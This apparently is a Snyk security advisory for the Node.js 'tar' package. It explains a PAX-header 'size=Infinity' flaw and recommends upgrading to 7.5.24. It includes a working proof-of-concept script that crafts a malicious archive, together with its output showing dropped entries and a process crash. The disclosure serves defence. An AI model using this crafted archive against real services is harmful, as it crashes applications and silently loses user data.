Snyk has a proof-of-concept or detailed explanation of how to exploit this vulnerability.
The probability is the direct output of the EPSS model, and conveys an overall sense of the threat of exploitation in the wild. The percentile measures the EPSS probability relative to all known EPSS scores. Note: This data is updated daily, relying on the latest available EPSS model version. Check out the EPSS documentation for more details.
In a few clicks we can analyze your entire application and see what components are vulnerable in your application, and suggest you quick fixes.
Test your applicationsUpgrade tar to version 7.5.24 or higher.
tar is a full-featured Tar for Node.js.
Affected versions of this package are vulnerable to Improper Validation of Specified Quantity in Input via parseKVLine in src/pax.ts, which fails to validate that a numeric size value supplied through a PAX extended header (typeflag x) is finite before applying it to the following archive entry. A PAX record such as 17 size=Infinity\n is coerced to the JavaScript number Infinity and accepted, because the only guard is a >= 0 check and Infinity >= 0 is true. The non-finite size propagates into the entry-body state machine, causing the parser to never transition out of the body-consumption state and silently drop all subsequent archive entries. When the archive is re-packed, the Infinity value reaches the numeric header encoder, which throws an uncaught synchronous exception that crashes the host process.
Runtime: Node.js >= 18. Package: tar (tested on the current published release).
Setup: build the library from source (npm install && npm run prepare) so the
compiled modules under dist/ are available, then run the script from the source root.
The crafted archive contains a PAX extended header that sets size=Infinity on the next file entry, followed by two ordinary file entries and the end-of-archive marker. The single PAX record 17 size=Infinity\n is exactly 17 bytes, matching its own length prefix, so it parses cleanly.
import { createRequire } from 'node:module'; import { resolve } from 'node:path'; const require = createRequire(resolve(process.cwd(), 'package.json')); const { Header } = require('./dist/commonjs/header.js'); const { Parser } = require('./dist/commonjs/parse.js'); const { Pack } = require('./dist/commonjs/pack.js');function block(fields, body = Buffer.alloc(0)) { const len = 512 * Math.ceil(1 + body.length / 512); const buf = Buffer.alloc(len); new Header(fields).encode(buf); body.copy(buf, 512); return buf; }
const pax = block( { path: 'PaxHeader/x', mode: 0o644, size: 17, type: 'ExtendedHeader', mtime: new Date(0) }, Buffer.from('17 size=Infinity\n')); const f1 = block({ path: 'a.txt', mode: 0o644, size: 5, type: 'File', mtime: new Date(0) }, Buffer.from('hello')); const f2 = block({ path: 'b.txt', mode: 0o644, size: 5, type: 'File', mtime: new Date(0) }, Buffer.from('world')); const archive = Buffer.concat([pax, f1, f2, Buffer.alloc(1024)]);
// Impact 1: entry loss let n = 0; const p1 = new Parser({ strict: false }); p1.on('entry', e => { n++; e.resume(); }); p1.on('end', () => console.log('entries emitted:', n, '(expected 2)')); p1.end(archive);
// Impact 2: uncaught synchronous throw when re-packing const p2 = new Parser({ strict: false }); const pack = new Pack({ cwd: '/tmp' }); pack.on('data', () => {}); pack.on('error', () => {}); p2.on('entry', e => { try { pack.add(e); } catch (err) { console.log('throw:', err.message); e.resume(); } }); p2.end(archive);
entries emitted: 1 (expected 2)
throw: cannot encode number outside of javascript safe integer range
Note: Node.js >= 18, with the tar package built from source so compiled modules under dist/ are available, run from the source root.